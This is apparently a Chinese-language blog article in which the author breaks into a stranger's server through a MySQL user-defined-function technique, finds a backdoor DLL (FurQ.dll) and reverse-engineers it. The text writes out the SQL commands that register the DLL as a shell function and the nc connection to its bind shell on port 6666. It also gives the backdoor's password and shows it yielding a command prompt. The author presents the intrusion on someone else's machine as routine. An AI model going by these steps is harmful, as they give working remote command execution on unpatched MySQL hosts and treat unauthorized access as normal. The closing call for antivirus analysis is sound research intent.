5月13日凌晨，笔者在网上测试MySQL的Fun漏洞（其实不能说是漏洞，只能说是一个技术而已），用MySQL Fun攻克了一台Xeon的主机，进去之后，本想做点测试，却偶然发现这台主机的C:\下有一个叫FurQ.Dll的东西，28K大小。当时感觉和笔者用的程序非常相似，于是就将这个FurQ.DLL放到IIS目录里下到本机里，用W32DSM进行反汇编。
首先，用W32DSM打开这个DLL。点开函数菜单分析输入和输出的函数，发现输入的函数中包括WS2_32函数以及接受\监听\绑定等函数，而输出的函数只有一个Shell函数。分析完这些，笔者当时判断这个程序应该是连接网络的，于是就再分析字符参考，发现了一个很经典的字符：COMSPEC。到了此时，情况已经比较明朗了，这个程序有调用CMD.EXE执行程序的能力。不过，这个程序到底是在MySQL中还是Shell中执行呢？为了搞清这个问题，笔者进行了接下来的测试。
首先在mysql里执行：
use mysql;
create function Shell Returns integer soname 'c:\FurQ.dll';
（函数Shell指的是FurQ.DLL里的Shell函数，否则创建失败）
返回函数创建成功了。马上测试函数：
select shell('echo kevin c:\z.txt');
select shell('/c echo kevin c:\z.txt');
select shell('cmd.exe /c echo kevin c:\z.txt');
在这里，测试的目的是验证COMSPEC是否在MySQL中执行，然后：
select load_file('c:\z.txt');
返回NULL，说明z.txt没生成。看来不是执行在MySQL中的。此时，笔者想到这个程序设置了监听端口，那么会不会是在TCP端口中执行？在W32DSM里找到有.bind方式的地方，发现上面显示了跳转，马上用OllYDBG打开这个DLL并且用LoadDLL载入，然后Ctrl+G跳到这个跳转。跟踪了半天毫无结果，看来“人工”的方式不行阿，还是到“肉机”上测试。
在xeon上执行“select shell();”同样返回NULL，但这时候笔者打开Taskmgr，发现MySQL的进程占用特别大，使用：
netstat -ano (win2k3的机器，有o参数)
返回进程ID
用tasklist|find "mysql"
列举进程，发现PID为6012
用netstat -ano|find "6012"
列举MySQL进程所开的端口，发现除了3306以外还有一个6666端口开放。初步估计这就是那个函数所产生的端口。为了验证，在本机执行：
nc -v IP 6666
然后连接成功了，输入ver看看是不是执行命令，返回ACCESS DENIED，有限制。去W32DSM里查看，果然包含这个函数，看来需要先进行破解。根据笔者的经验，如果是我做的这样一个后门+Shell程序，一定不会想到加密，应该就是设置一个密码，比如用VB写一行：
if pwd="123" then call execshell else call failed
开始跟踪。进入这个字串的位置，一般会有一个test来比较，于是向上，发现一个跳转，然后在OllyDBG里进入这个跳转，边上的分析框中显示着ASCII "FurQ"，原来密码就是FurQ。实验一下：
nc ip 6666
FurQ
C:\Mysql\data
分析结束，准备将FurQ.DLL样本发送给朋友，结果文件传到一半被“卡巴斯基”干掉，而其它机器上的McAfee和PC-cillin也都作出了动作，但也有很多杀毒软件是“视而不见”，由此笔者推测这个病毒可能利用了某些尚未正式公布的“新技术”，希望有关专业厂商能引起注意。
作者注：个人感觉文章写得不够专业，更多的是过程描述和主观推测，谬误之处还请专家们指出。不过，由于此病毒确实在很多杀毒软件中存在“漏报”现象，我还是希望专业人士们能对其作出更为详尽和深层的分析，我这篇小短文就算是“抛砖引玉”。
